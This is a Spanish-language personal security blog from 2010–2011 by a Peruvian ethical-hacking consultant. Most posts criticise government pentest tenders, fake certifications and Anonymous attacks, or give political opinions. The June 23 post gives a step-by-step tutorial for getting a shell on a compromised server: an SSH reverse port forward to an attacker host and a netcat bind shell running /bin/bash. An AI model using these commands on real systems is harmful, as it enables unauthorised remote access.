Thursday, July 14, 2011

Resultados del Concurso en SUNARP

La información esta en el web de SEACE y aunque no es sopresa el postor que obtuvo la buena pro, si es de particular interes una nota colocado en el cuadro de calificación técnica que dice :
"(*) El Certificado CISSP correspondiente al SR. Juan Pablo Baby fernandez, se encuentra expirado a mayo de 2011, por lo que el postor no acredita contar con 02 profesionales con certificación CISSP."
Qué pasó? Otra vez no se dieron cuenta que presentaban un certificado expirado ? Presentaron un C|EH (hasta donde se, la persona mencionada esta certificada como tal), pidieron el certificado que muestre que esta vigente su certificación y que mantiene sus 120 ECE por año ?
La verdad es que estos puntos determinan la calidad de postor, proveedor y consultores y por ello es que debería ser revisado cuidadosamente.
Y qué pasó con los otros que participaron en el estudio de mercado e incluso en el proceso mismo ? Por qué finalmente no cotizaron ? No calificaban ?

Friday, July 08, 2011

Se vende cebo de culebra...ah! y tambien inventamos metodologias y certificaciones internacionales de prestigio!

Parece que existe una fuente inagotable de ganas de hacer que nuestras entidades del Estado aparezcan como las más desinformadas de este planeta Tierra.

En unos Terminos de Referencia pude observar el otro dia que pedian cumplir con las siguientes metodologias :
  1. Open Source Security Testing Methodology
  2. SANS Institute Security Testing Best Practices
  3. CERT Security Testing Best Practices
  4. NIST Security & Risk Management Best Practices
  5. NIST Special Publication 800-115
  6. Open Web Application Security Project
Lo terrible de este requerimiento es que las numero 2, 3 y 4 NO EXISTEN. Una rapida busqueda por Internet (Google, Bing y entrando a los sitios de cada organizacion) nos muestra unicamente una presentacion hecha por Deloitte en Europa.

Luego, en otros Terminos de Referencia, para garantizar que los evaluadores tengan un nivel de conocimiento adecuado se exigen certificaciones y esto es 100% correcto y adecuado. Lo gracioso y tragi-comico es que a la par que las certificaciones de ISC2, ISACA, EC Council, Offensive Security, GIAC, Mile2 ponen dos mas bien particulares :
  • eCPPT que es una bastante nueva y que se esta empezando a difundir. No se tiene informacion de la cantidad de personas certificadas en el mundo, pero, se que al menos aca hay una persona certificada.
  • SOHP Stack Overflow Hacking Professional que, despues de este post, por fin vera la luz del mundo...sencillamente esta certificacion NO EXISTE o, si existe, debe ser tan reservada y privada que solamente su poseedores saben de su existencia. Esto es una burla tremenda que equivaldria a quere posicionar el Open-Sec Ethical Hacker al nivel de las certificaciones de EC Council, GIAC, Offensive Security, Mile2 e incluso la de eCPPT!
Por esas razones es que es post inicia diciendo "Se vende cebo de culebra..." porque eso les venden CASI TODOS a las entidades del Estado.

El problema a resolver es la falta de conocimiento de las personas que elaboran estas especificaciones en el Estado, pero, me preocupa mas la falta de etica de quienes les plantean exigir cosas que no existen y eso es una BURLA al intelecto.

Y ojo que si la existencia e internacionalizacion de las certificaciones determina que puedan considerarse como garantia para servicios de ethical hacking, entonces, consideremos al OSEH porque tiene mas de 250 personas certificadas entre Perú, Ecuador y Honduras. Algo que no haremos porque no nos dedicamos ni a la educacion y a certificar personas como core de nuestro negocio.

Apliquen metodologias de verdad! Vayan y saquen certificaciones de alto nivel! No tengan miedo! No se burlen del intelecto de las personas!

Buen fin de semana!

Friday, July 01, 2011

Proceso publico en SUNARP : S/.171,850 por un ethical hacking tradicional a 97 hosts (aproximadamente)

No pensaba expresarme publicamente al respecto, pero, dados mis posts pasados y el comentario a la nota de ISSA Perú, no puedo dejar pasar esta equivocada forma de contratar un servicio de ethical hacking.

Se trata de un servicio tradicional de ethical hacking para aproximadamente 97 hosts. En forma interna (65) y externa (32). Dejare el tema monetario para el final.

A los consultores se les exige ser Ingenieros Titulados con 5 años de experiencia laboral unicamente sin especificar que tipo de experiencia. Lo primero es exigido por el dichoso Reglamento de Contrataciones y Adquisiciones como dije en un post anterior, PERO, no deberia exigirse experiencia en ethical hacking cuando menos ?

Vuelvo a hacer notar que deberian analizar el mercado local y ver cuantos ingenieros titulados estan metidos en temas de ethical hacking.

Luego, como certificaciones se exigen algunas referidas a seguridad de la informacion y no sobre ethical hacking y/o penetration testing que son respecto a SEGURIDAD INFORMATICA. No existe una sola persona en SUNARP que sepa esto ? Donde esta la ONGEI con sus expertos en seguridad y su apoyo de la empresa privada que no los asesora ? Para este proceso estuvo convocado un proveedor que tuvo la actitud honesta y valiente de decirles por email que no estaban haciendo un proceso que otorgue valor a la entidad y que hicieron ? Sencillamente, lo ignoraron (iniciales otra vez MC de PC, no fue nadie de Open-Sec porque ya habiamos visto fallas hace tiempo en este proceso).

La unica certificacion que se considera para dar puntaje adicional es la de C|EH, pero, recibe el mismo puntaje que una de CISSP o CISA. Por favor! A mis amigos que tienen certificaciones como esas y a los que ademas tienen sobre hacking : puede una certificacion de CISSP, Lead Auditor 27001, Cobit-F o CISA garantizar que el consultor hara una buena labor de hacking ?! NO! Grande, mayusculo y rotundo.

Y por ultimo, el precio basado en un estudio de mercado que parece haber sido hecho de forma mas consciente y responsable que otros que he podido apreciar (algunos no ponen ni el nombre de las empresas que participaron en dicho estudio). Pero, aceptar que se ponga un monto referencial de S/.171,850 por hacer ethical hacking a 97 hosts ?! Poco mas de S/.1,770 soles por host!! Wow!
Para una mejor comprension de las tasas : comprar un servicio de un reconocido como SAINT para la parte externa les salia mucho mas barato : menos de US$3,200 por los 32 hosts externos! WebSAINT PRO
Ni siquiera se piden comprobaciones manuales en todos los hosts, con lo cual, pasara lo que paso en un cliente : llegan llenos de appliances y software automatizado, lo corren, elaboran reportes tambien automatizados y 2 meses despues se les mete un intruso por una vulnerabilidad que el consabido "ethical hacking" no encontro!

Mas aun, durante el estudio de mercado y la bases publicadas no se presenta la cantidad de hosts a evaluar y se hace de conocimiento publico esta informacion en la etapa de consultas y observaciones. Quiere decir que cuando pidieron las cotizaciones si indicaron la cantidad de hosts y no la colocaron en las bases ? O es que los proveedores que cotizaron para ese estudio de mercado se lamieron el dedo, lo expusieron al aire y zas! se les vino el numero magico a la mente!

Lamentablemente, quienes deberian manifestarse se quedan callados en una sociedad hipocritamente condescendiente donde, los que se manifiestan en contra de estos atropellos al intelecto, son calificados de conflictivos.

Y por si acaso, como puede parecer a mas de uno que esta nota es una piconeria porque no dieron valor a la experiencia y certificaciones de hacking, recibi la invitacion a participar en el proceso por parte de un postor y me negue porque no estoy de acuerdo en participar en un proceso que cuestiono.

Saludos!

Tuesday, June 28, 2011

Mas sobre Anonymous en Perú

Un comentario mio a una excelente nota escrita en ISSA Perú por Roberto Puyo
http://issaperu.org/?p=445#comment-40

Thursday, June 23, 2011

Técnico : SSH port forwarding triangulado

Necesito sacarme el clavo con esto de no bloggear hace tiempo algo técnico :

Uno de los problemas que deben enfrentar un atacante al establecer conexiones desde Internet es pasar por los filtros de entrada/salida impuestos por los firewalls.
Casi siempre encontramos que las conexiones de entrada a la red estan filtradas y, por ejemplo, un servidor web comprometido solo expone TCP 80 y si acaso, 443. Como tener un shell hacia ese equipo ?

La respuesta conocida desde hace años es que se debe establecer un shell reverso y para existen desde el venerable netcat hasta su versión moderna ncat y pasando por el querido MetaSploit. Algo que también se puede usar es reDuh y, por supuesto, ssh. Hay varias guías que indican como hacerlo, pero, no he encontrado una en Español latino (o no busque bien), asi que ahi va :

1. Se debe haber conseguido alguna forma de ejecución en el servidor victima, por ejemplo, mediante un RFI, un webshell, etc., pero, que no permiten la flexibilidad de una línea de comandos de shell.

2. En el server victima digitar algo como :
victima$ssh -p 31337 -f -N -R *:8081:localhost:8080 optimusprime@hacker.no-ip.org
Esto abre un socket en el puerto 8081 de hacker.no-ip.org
Al hacer un :
victima$ps agux | grep ssh
se podrá ver el proceso ejecutando, pero, aún algo como netstat no mostrará nada.
El objetivo es que al conectarse al puerto 8081 de hacker.no-ip.org, lo redireccionará hacia el 8080 de victima sobre el canal ya establecido.

3. Correr un servicio en el puerto 8080 de la victima para que reciba la conexión reversa como por ejemplo
victima$ nc -l -v -n -p 8080 -e /bin/bash
listening on [any] 8080 ..

4. En hacker.no-ip.org podremos ver el socket aperturado en 8081
hacker:~# netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
......................................................................................................................................
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN 12060/sshd: optimusprime

5. Conectarse desde otro host al puerto 8081 de hacker.no-ip.org :
otro_host$nc -v hacker.no-ip.org 8081
Connection to hacker.no-ip.org 8081 port [tcp/tproxy] succeeded!
Aqui ya se pueden ejecutar comandos del shell, en este caso, tipo bash

6. En la victima se aprecia la conexión, no se requiere una conexión de entrada, no se generan nuevos procesos y toda la comunicación es encriptada :
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47934

Saludos!

ADD : Verificar en /etc/ssh/sshd_config de hacker.no-ip.org, exista la linea :
GatewayPorts yes

Anonymous y Perú

Hoy día particularmente recibi varios llamados,correos, chats, etc. de consulta sobre la operación Andes Libres y la amenaza a Telefónica.

Es bien curioso como la gente se pone atenta cuando estas cosas llegan a los medios de prensa y entonces quieren hacer lo que nunca hicieron : ponerse en posición de defensa.
Como le respondi a una persona, no hay nada nuevo atras de estos ataques, las tecnicas usadas son las mismas de hace años y las vulnerabilidades son las de siempre. Entonces, el mantener seguros los activos de información no debería ser una cuestión circunstancial sino una postura continua.

Podría violar acuerdos de confidencialidad y divulgar todas las oportunidades en que contratados por entidades del gobierno para servicios de ethical hacking, hemos conseguido penetrar sus redes, pero, prefiero apuntar a quienes se erigen como representantes/miembros de Anonymous aca : http://www.piratasdelared.com/

Ayer me tome un momento para comprobar como podían haber violado la seguridad de un Ministerio local y es increíble como existían por lo menos 6 puntos de ataque sencillos. Eso demuestra que no estan seguros y los sitios que han adicionado luego lo corroboran.

Hoy veo que sale el Jefe de la ONGEI, Jaime Honores, a señalar que las entidades del gobierno se encuentran preparadas para el ataque. Este señor no solo demuestra ser un ignorante en esta materia sino que, ademas, demuestra como colocan personas sin capacidad para dirigir los destinos de la informática en el gobierno.
El seguramente cree que propiciar eventos de charlas y correrle herramientas automatizadas "con el apoyo de la empresa privada" es gestionar adecuadamente la seguridad de la información y seguridad informática. Claro, podrían decir que también existe un PeCERT, pero, saben que solo es un nombre y no es tangible.

También vi un "blogger" que salia a decir que Anonymous carecia de orden y organización y que los ataques no iban contra la data, que vea el site de Piratas de la Red pues. Otro neofito.

Para que servirá todo esto ? La verdad, servirá para que las entidades del gobierno compren mas hardware y software que ni saben que hace, pero, que si genera revenue para todos. También, contratarán consultorías con "empresas globales" y les pedirán que les hagan hackeos éticos, eso si : el personal debe ser ingeniero colegiado y tener certificaciones de seguridad de la información, no importa que no sepan ni un poco de hacking.
Resultado :falsa sensacion de seguridad, victimas voluntarias.

Es importante que se sepa que estos temas no atañen solo a tecnológos mas o menos capaces sino a temas de legislación. El otro día un amigo me pregunta : cuantos C|EH que sean ingenieros colegiados conoces ? Mi respuesta fue CERO y su pregunta era reflexiva porque el sabe la respuesta. Entonces, por que se pide esto : porque el Reglamente de Contrataciones y Adquisiciones del Estado Peruano indica que para labores de ingeniería, el personal debe ser titulado y colegiado.
De cerca de 16 C|EH en Perú, ninguno es ingeniero colegiado.
Eso requiere un cambio para poder tener organizaciones que se evaluen correctamente por personal adecuado.

En medio de todo esto hay actitudes hipócritas como las de los que se pelean por email y rajan de los demás, pero, en la foto siempre salen juntos y sonriendo. Y, también, hay actitudes valientes y honestas como la que vi hoy día de parte de un amigo (no diré su nombre por privacidad, pero, para darle una pista a el : MC) : rechazo participar en un proceso de contratacion de ethical hacking para una entidad del Estado porque analizó y determinó que el requerimiento estaba mal planteado y ello iba en contra de la calidad de servicio que merece una organización de nuestro país.

Quisiera no opinar sobre cosas como estas y seguir unicamente con temas técnicos, pero, lamentablemente, el medio que nos rodea debe limpiarse de hipócritas y gente interesada unicamente en llenarse los bolsillos a partir del tema de seguridad de la información y seguridad informática.

Monday, June 06, 2011

Sobre la CAIDA de la Bolsa de Valores de Lima despues de la eleccion de Humala

"La Bolsa de Valores de Lima es "asisito" respecto al valor de la produccion del Perú. Que se mueva esto fuerte no le hace mella al sector real de la produccion y el empleo en el Perú que es lo que le preocupa a la agente y en segundo lugar, los que participan en la bolsa, pero, no llegan ni al 0,1% de la poblacion peruana. De tal manera que al caer la bolsa afecta a una completa minoria. De tal manera que creo yo que tampoco hay que sobredimensionar esto, no? Hay que darle su importancia, si, porque afecta expectativas futuras, pero, tambien hay que decirle a la gente que a diferencia de otros paises desarrollados, aca que la bolsa caiga, su impacto, en lo que le preocupa a la gente que es su trabajo, su sueldo, su ingreso, la produccion...en el corto plazo, es casi, que no se siente." Jorge Gonzales Izquierdo, Economista. Fuente : 24 Horas, 6 de Junio del 2011. Panamericana Television.

Friday, June 03, 2011

Primer post del 2011 ? Elecciones 2011 Segunda Vuelta - Ollanta y Keiko

La verdad, me dedique mas a postear en el blog de Open-Sec aunque igual ha sido casi nada.
Me sobran temas tecnicos porque como siempre pienso : cuando alguien tecnico con blog deja de postear es porque anda con trabajo y eso me ha pasado.
Sin embargo, no puedo evitar usar este medio para manifestar mi opinion de este proceso electoral.

Debo iniciar parafraseando algo escuchado ultimamente : Toledo dijo que votar por Ollanta era un salto al vacio, creo que votar por Keiko es lanzarse de una de las torres del Centro Civico hacia el concreto.

Particularmente, mi ideologia politica siempre ha sido de corte socialista y, por ello, el hecho que Ollanta y Keiko sean los que pasen a la segunda vuelta ya es un triunfo ya que el Perú es más que Lima y mas que mi situacion economica-social-politica en particular. Es decir, elegir no pensando solo en "este me conviene y este no me conviene".

En los ultimos dos dias Ollanta ha sido acusado de todo lo que se pueda : sobornos para que salga librado de los juicios que tenia, pago de narcos en su epoca de militar, recibir dinero de Chavez y todo culminara el domingo con los tradicionales insultos a su esposa cuando vaya a votar.
Todo sin pruebas, claro, solamente la afirmacion de personas interesadas o de dudosa calaña.
Keiko dice que hay pruebas de sobornos para salir librado de juicios, donde estan las pruebas ?
Un tipo de mala calaña envio por dias a dos ancianos a la carcel con tan solo una declaracion y luego se demostro que mintio. Todo se dieron golpes de pecho. Ah! Pero, si un narco acusa a Ollanta, hay que creerle.
Un politico de US lo acusa de recibir dinero de Chavez y todos se olvidan de los Wikileaks que demostraron como los politicos en US se meten en las decisiones de otros paises. Es mas, demostraron como politicos locales acudieron al gobierno de US a pedir que impidan que gane Ollanta en el 2006 y, por ello, tuvimos la desgracia de tener un presidente como Alan Garcia.

Que tenemos por el lado de Keiko ?
Tiene una buena formacion academica fruto de la inversion hecha por nosotros los peruanos en sus estudios.
Uso el melodrama en el ultimo debate para decirnos que quiere hacer las cosas en forma diferente a su padre porque ella es madre. Detesto cuando las mujeres toman su genero para escudarse en el y , pero, aun cuando hacen uso de su condicion de madres y mas lamentable es que mencione a sus hijas para convencer a los votantes.
Se ha unido a PPK que dijo renuncio a su nacionalidad norteamericana y, en realidad, aun no hay pruebas que el tramite se haya completado. Imagino que al haber perdido estripitosamente en la primera vuelta, pidio que anulen el proceso ya que como ha dicho, sus principales ingresos vienen de US.
San Roman se une a Keiko, no importa que le patearon el trasero durante el gobierno de su padre.
Castañeda hizo la mayor publicidad de pocas obras publicas en toda la historia de Lima y los que circulamos por varios lugares de Lima, vemos que hizo muchisimo menos de lo dice.
Los demas, son relleno, pero, como sea, lo que demuestra es que Keiko se conviritio en la candidata de los perdedores de la primera vuelta. Es decir, lo que voten por ella, estaran votando por PPK y Castañeda. Votaran por los que no quieren que este pais cambie.
Ni siquiera le doy mucho al asunto de las torturas a su madre y la esterilizacion no voluntaria de miles de mujeres ante lo cual ella solo se quedo callada porque si reclamo, lo hizo en secreto.

Ollanta ha tenido el apoyo de muchos politicos y personalidades, pero, creo que no es lo mas relevante en este momento. Tal vez, rescataria el apoyo de Accion Popular, partido que nos dio a dos de los mejores presidentes de nuestro pais : Fernando Belaunde Terry y Valentin Paniagua.

Sin embargo, me da risa cuando los jovenes entusiastas, inexpertos y desinformados se sorprenden por estas alianzas. Por suerte, mi edad me ayuda a recordar historia pasada como cuando el APRA hizo coalicion con la Union Nacional Odriista en su afan por el poder.

Para alguien que vivio concientemente desde el gobierno de Velazco, como yo, es facil calificar al gobierno de Alberto Fujimori como el mejor y, principalmente, porque su labor permitio dar estabilidad economica al pais y retomar la seguridad ante el terrorismo (que ha vuelto a arreciar con el desastre de gobierno de Garcia desde el 2006). Por mi lado, la llegada de la tecnologia a Perú es lo que permitio nuestro actual avance.
En suma, se le debe mucho a Fujimori, si, ALBERTO FUJIMOR, pero, Keiko no es Alberto y no puede ser tan sirvenguenza de mostrar orgullo por el gobierno de su padre (como si ella hubiese hecho algo en ese momento como no sea estudiar en US) y, luego, deslindar su rol complaciente de "primer dama".
Todos sabemos que los votos que obtuvo en la primera vuelta no fueron por ella, mucha gente desinformada creia que votaba por Alberto Fujimori y otros por la esperanza que lo indulte.

Yo estoy seguro que si gana Keiko, como todo parece indicar, nada cambiara en el pais. Nada cambiara para los que deberia cambiar, para aquellos que mueren de frio en Puno, para aquellos que para ir al colegio deben cruzar el rio en un "deslizador" con sogas, para aquellos que mueren por desnutricion, para aquellos que no saben leer ni escribir, para aquellos que sufren la contaminacion dejada por las mineras, para aquellos que no tienen servicios de salud.
Claro, tampoco cambiara radicalmente para los "dueños" de este pais, solamente, seran mas poderosos.

Al final, si hago el analisis egoista, no me importa cual gane porque me tocara seguir trabajando como siempre, pero, como dije, el Perú es mucho mas grande que Lima.

Debo tambien analizar las propuestas. Creo que el principal error del plan de gobierno de Gana Perú fue ser una mixtura de plan de gobierno con ensayo politico. Pero, tambien creo que en nuestro pais se rehuye a ser directo, vivimos de la hipocresia constante. Nunca se dicen las cosas en la cara, se dicen a espaldas de las personas.
Sin embargo, a diferencia de lo que dijo Garcia, el territorio peruano es de los peruanos y nosotros determinamos que se hace aca o no. Osea, soy peruano para pagarle los impuestos a SUNAT, pero, no para pedir que sigan dañando nuestro territorio las mineras ?! Claro, como ningun twittero se traga el mercurio...
A ver, que vaya Garcia a decirle a los "propietarios" de Asia que ese pedazo de litoral peruano no es suyo...que vaya pues!
La inversion extranjera es importantisima, pero, que sea buena para todos. No se trata de inversion y nuevos empleos mal pagados. Que no inviertan aca porque se les deja hacer lo que les de la gana o porque la mano de obra es mas barata sino porque sera buena mano de obra.
Necesitamos ordenar el pais empezando por sus autoridades. El asunto de policias corruptos es tan malo como el de congresistas corruptos y ociosos : no se resuelve con subir sueldos sino con educacion con valores y controles efectivos.
La educacion no mejora solamente creando examenes para botar gente y remodelando los "colegios emblematicos" y la mejor prueba son todas las peleas callejeras con armas blancas que se han producido desde hace semanas en conocidos colegios limeños. Eso solo se resolveria con los profesores y autoridades educativas adecuadas.

Ante esta estupidez colectiva, lo positivo es que han surgido enfretamientos directos : los jovenes dicen lo que piensan y ellos son los que cambiaran este pais, pero, por favor informense. No sigan a lideres solo porque son "nice" o "cool" sino porque analizaron sus planteamientos e ideologia.
Un vocero de Keiko dijo que se necesitaba un gobierno pragmatico y no ideologico y me dio risa porque sono a "Keiko nos sirve porque no tiene ideas".

El tema es interminable y ya me toca seguir trabajando y ver a mi familia.

Ah! Me olvidaba, el Perú tambien es mas grande e importante que el presidente que tenga. Aun me afano porque las instituciones de mi pais obtengan buenos servicios de hacking asi no los haga mi equipo y, como varios de ellos pueden dar fe, lo hago aun asi no gane un centavo.
En otro aspecto, con mi esposa todos los dias inculcamos valores a nuestros hijos para que nuestro pais sea mejor.

Por esas razones, no importa si es Garcia el presidente o es Keiko u Ollanta, debemos apoyar las buenas acciones, controlar siempre y openernos a lo incorrecto MAS ALLA DE NUESTROS PROPIOS INTERESES.

Hasta la proxima que promete sera algo 100% tecnico, probablemente sobre lo ultimo novedoso que he venido haciendo que es hackeo de smartphones.

Friday, December 31, 2010

Ultimo post del 2010

Siempre he escuchado gente que pide que el año actual se "vaya" rapido porque les resulto muy malo y esperan que el proximo sea mejor. Yo siempre esperaba que el proximo sea mejor, pero, consideraba que el presente ya habia terminado y nada mas.
Esta vez es diferente, me auno a los que esperan que se VAYA pronto el 2010, fue un año de extremos, mas extremos que los polos norte y sur.

Esto sera un analisis rapido, son 9:26 pm en Lima, Perú...

Tecnicamente, el año fue de lo mejor porque tanto a nivel de equipo como individualmente quede convencido que hay buenas capacidades. Esto suena BIEN "panudo", pero, tuvimos oportunidad de compararnos con colegas en eventos diversos; conocer de las vulnerabilidades mas recientes y entenderlas, pero, mas aun, explicarselas a los demas en charlas y clases; encontrar vulnerabilidad en los servicios de los clientes que otros no encontraron (incluso hubo un caso donde una vulnerabilidad fue divulgada hasta con videos por un "iluminado" y no tenia ni idea hasta donde se podia llegar); modificamos y hackeamos mas toolz que antes (incluso MVelazco desarrollo una nueva y personalmente encontre como pasar por alto las restricciones de una tool de analisis de vulnerabilidad que se esta haciendo mas popular); entrenamos mas de 100 personas en ethical hacking; participamos exitosamente en algunos CtF; en fin, solo puedo pensar en exitos tecnicos.
En el otro extremo y bien relacionado a esto, no consegui que alguien maneje los proyectos en mi lugar y, muy a mi pesar, sigo siendo la cara visible de Open-Sec. Asi no importa que seamos la unica organizacion peruana que tiene 4 hackers de staff y que todos estemos certificados por EC Council y algunos por Offensive Security, GIAC, ISC2, etc. Si los demas no los conocen ni saben de sus certificaciones, es lo mismo que nada.

El desarrollo de la empresa lo resumo en : menos dinero que el año 2009, pero, mejores clientes y de mas renombre.
Una persona me dijo algo : "Lo que la gente ve en Uds. es que son estables a traves de los años". Y es que es bien raro encontrar organizacion que vivan haciendo servicios unicamente y no vendiendo productos y, peor/mejor aun, servicios de ethical hacking.
Pero, se ve que es de extremos ? Poca plata y mejores clientes.
Este año me toco terminar la iniciativa de Ecuador y, sin embargo, llegamos hasta Honduras.
Perú es un medio dificil para hacer negocios de seguridad porque, LAMENTABLEMENTE, aun existen clientes que evaluan subjetivamente basados en cosas el origen extranjero de las empresas, si haces eventos grandes, si les regalan cursos, etc.

En lo familiar, fue lo mismo : pase por la peor de las situaciones en mi vida y al mismo tiempo tengo la mejor familia que alguien pueda desear.
Considero que cada cosa mala da lugar a algo bueno. El problema que afronte me permitio encontrar amigos muy buenos y que incluso me acompañaron en la decision que tome, asi no sea necesariamente lo que ellos harian.

Dado que me propuse no postear cosas personales en este blog, no colocare nombres ni mas detalles y solamente algunas cosas que me vienen a la mente como premisas para el proximo año :
  • Decir la verdad siempre de frente A LA PRIMERA. Mi norma es decir siempre la verdad, pero, muchas veces trato de postergarlo por no aparecer como rebelde o conflictivo. Eso me ha traido incluso reclamos en los ultimos 2 dias por no decir a alguien que solamente queria ayudarlo aunque en realidad no lo necesitaba.
  • Difundir mas los exitos de los peruanos en cuanto foro se pueda dar.
  • Dedicar mas tiempo a mejorar mi estado de salud.
  • Obtener al menos una certificacion de hacking adicional (este año priorize la inversion en las certificaciones de otros, el 2011 es mio!).
  • No participar en eventos donde no haya etica y eso implica no aceptar como sponsors a empresas de dudosa etica.
Finalmente, solo quiero desearle un año 2011 MUY BUENO a cualquiera que lea este post, se amigo, enemigo o lo que sea.

FELIZ 2011 !!!!

Saturday, December 18, 2010

Mea culpa y entrevista en lamula.pe

El jueves participe de LimaHack 2010 y en algun momento de aquellos donde no pude con mi genio, mencione como Operation Payback demostro que para hacer ataques no todo es tema de toolz y que mover a las masas es mejor estrategia.
Incluso, mencione el hecho que en algunos casos no habia que descargar nada sino entrar con el browser, seleccionar el objetivo (de acuerdo a lo que ordenara Anonymous) y listo. Dije tambien que alli habia un buen "chunk" de hexa que era un javascript en base64 (creo que no di tanto detalle) y mencione que eso podia ser cualquier cosa.
Entonces, el MEA CULPA : olvide que yo mismo, dias atras, habia compartido con algunos el hecho que este ataque de DDoS usaba LOIC (tambien se usaron otros similares como HOIC aunque no es tan elaborado y no se encuentran los fuentes a pesar que se anuncia con abierto).
Este LOIC es una tool y por eso el MEA CULPA porque SI hay una TOOL de por medio. En realidad, trate de rescatar el hecho que esta tool permite generar un DDOS con colaboracion voluntaria motivada por la convocatoria por redes sociales (twitter en particular).
Incluso, LOIC tiene un "modo" hivemind que permite entregar la maquina propia a un bot controlado via IRC (al mejor estilo del fenecido proyecto SETI).

Aprovecho este mismo post para comentar sobre una entrevista que nos hizo lamula.pe durante LimaHack 2010 : http://lamula.pe/2010/12/17/hackers-peruanos-wikileaks-julian-assange-lamer-insurance/4042
Hace tiempo que no mencionaba el termino lammer porque ultimamente prefiero llamarlos "iluminados", pero, lo cierto es que me gusto el espacio para desmitificar un poco el asunto.
Por ahi lei un comentario que decia que un hacker no se autocalifica segun Eric Raymond y su definicion de hacker como alguein que investiga profusamente algo y comparte ese conocimiento. Yo mismo durante varios años explique el concepto junto con el glider y decia que un cheff tambien puede ser un hacker en su terreno.
Ja! Pero, hay muchas cosas que no ayudan a explicarse por ser purista y exacto, asi que hacker es un termino referido a hackers de tecnologia, para todo lo demas que vuele la imaginacion.
En lo que si me voy a mantener siempre es que un hacker no debe autocalificarse. Yo soy un hacker etico certificado y lo digo porque tengo la certificacion de C|EH que la emite un tercero (EC Council), pero, tambien soy un Evaluador de Penetraciones Certificado (Certified Penetration Tester suena menos erotico) por GIAC/SANS y es mas o menos lo mismo.
Si no tuviese esas certificaciones diria que soy un hacker ? Seguro que no al igual que siempre aclaro el hecho que no soy ingeniero sino tecnico, asi que, no es un tema de dogmas sino de sinceridad y honestidad con uno mismo.
Claro, si alguien me pregunta si me gusta hackear yo respondere que es lo maximo despues de mi familia. Sexo y musica quedan en la cola al paso de los años.

Monday, November 22, 2010

Tiempos movidos...mucho de todo

Y esa siempre es la razón por la cual es más dificil bloggear en los últmos tiempos, son tiempos movidos donde se hace mucho y de todo.

Las vulnerabilidades siempre parecen ser más de lo mismo y a veces llego a pensar que mi percepción sobre el negocio de los virus y antivirus se da también en las vulnerabilidades. Es dificil aceptar que sigan dandose tantos descuidos en aplicaciones comerciales que tienen grandes inversiones en el desarrollo de software.

Pero, por otro lado, también parece increíble que aún existan aplicaciones hechas a medida que sean tan vulnerables a SQLi, XSS, etc. o que sigan metiendo tanta información en variables de sesión o que consideren que los atacantes nunca querrán vulnerar sus aplicaciones.

Aún en países como el nuestro, el hacker es un ser casi extraterrestre y no se llega a crecer en la misma cantidad de especialistas en hacking que se tiene en otros países. Esto podría paracer bueno para alguien que vive de eso dado que no hay mucha competencia, pero, no es así porque como siempre (pueden ver mis otros posts), el cliente no sabe lo que hay y encima hay mucho charlatan, local y foraneo.

Más allá de todo esto, no hay otra cosa como andar todo el tiempo investigando, analizando lo que pasa con el software, el hardware y la seguridad como un todo. Sí alguien tiene sed de conocimiento, entonces debe practicar el hacking, la medicina y/o la cocina. En todos ellos hay creatividad constante, investigaciones a raudales y una sed de conocimiento satisfecha al vencer retos.

En los últimos meses he visto como personas de Ecuador, Honduras y Perú aprenden técnicas de hacking teoricamente, luego hacen algunas pruebas y cuando son sometidos a retos del mudno real es que realmente empiezan a disfrutarlo. En lo personal, quisiera ver más expertos en hacking en Perú, sean de Open-Sec o no, pero, que se dediquen y que sean responsables por lo que hacen. Que no sean ejecutores de herramientas ni consultores de alto nivel, sino gente que investigue a fondo, que asuma retos y que entregue una buena calidad en cada cosa que ejecute.

Tecnicamente puedo decir que, para varias, los últimos meses han sido de dedicación casi total a MetaSploit con algunas paseadas por NeXpose/Sapyto(bizploit) y una búsqueda constante de una herramienta automatizada para analizar webs que de veras la haga, pero, hasta ahora, la mejor herramienta sigue siendo la revisión "a mano" del los web (claro, usando los queridos NoScript, Agent Switcher, Poster, Tamper Data, Grounspeed, Firebug y Hackbar).

No puedo dejar de comentar en esta especie de catarsis bloggera que estoy haciendo después de mucho tiempo, la noticia del día : Novell fue adquirido por Attachmate. Sabía que hacian emuladores de terminal y nada más. Creo que es la mejor forma de terminar para Novell en las manos de un pequeño desconocido que descuartizado por un gigante aunque el holding que esta detrás de Attachmate es liderado por Microsoft y ya sabemos de donde salió el dinero para esa compra.
Novell se constituyó en una parte muy importante de mi vida, pero, movimientos absurdos como comprar CTP y dejar que sus "ejecutivos" asuman el control de una corporación de tecnología hizo que entre otras cosas despidan a Eric Schmidt, creador del proyecto de Java en Sun y hoy día CEO de Google.

Hasta la proxima!

Saturday, October 02, 2010

Ekoparty 2010

Esta fue una de las aventuras más simpáticas de los últimos tiempos. Ya el año pasado nos quedamos sin ir por la carga laboral y este año nos lanzamos.
Era importante para nosotros ir como team y para ver que tal estamos comparados con un medio tan avanzado y competitivo como el argentino, en otras palabras, que tan "hackers" somos y de hecho, el resultado fue positivo para nosotros, pero, hay que tener en cuenta que en Argentina no solamente hay buenos pen testers, ethical hackers, etc. sino excelentes investigadores y desarrolladores en seguridad informática. Mauricio Velazco se preguntaba : y ellos estan todo el día investigando para encontrar esas vulnerabilidades y desarrollar exploits ? La respuesta es SI porque allá hay empresas que se dedican a desarrollar herramientas de hacking, tanto como software libre como comercial. Ejemplo de todo ello son Core Impact (de Core Security), CANVAS (de Immunity) y la incorporación de w3af al "conglomerado" de Rapid7 que ya cuenta con MetaSploit, así como, Netifera y el ataque de Padding Oracle aplicado a la __viewstate de .Net donde el 50% del mérito lo tiene un argentino, Juliano Rizzo.
Aca nuestra investigación se da en forma posterior porque nos dedicamos a entender las vulnerabilidades reportadas y luego, a comprender como funcionan las herramientas o exploits lanzados, y, en algunos casos, para corregirlos o adecuarlos a nuestras necesidades (aunque ya tenemos 3 nuevas herramientas que lanzaremos este mes en el evento de ISACA el 22 de octubre).
A continuación la aventura Ekoparty en imágenes :
Perú estuve super presente en Ekoparty 2010.
Estuvimos 4 de Open-Sec, Juan Pablo, Felipe y Miguel (más datos omitidos a propósito).






La danza diabólica de las habitaciones compartidas.
Quién duerme con MV ? Por aca! Pero, luego encontró su pareja ideal : MU, durmieron juntos 3 noches y fueron felices por siempre. MV se quedó unos días más en Bs Aires haciendo los trámites del matrimonio.
(El del gesto diabólico no es ninguno de los M*).



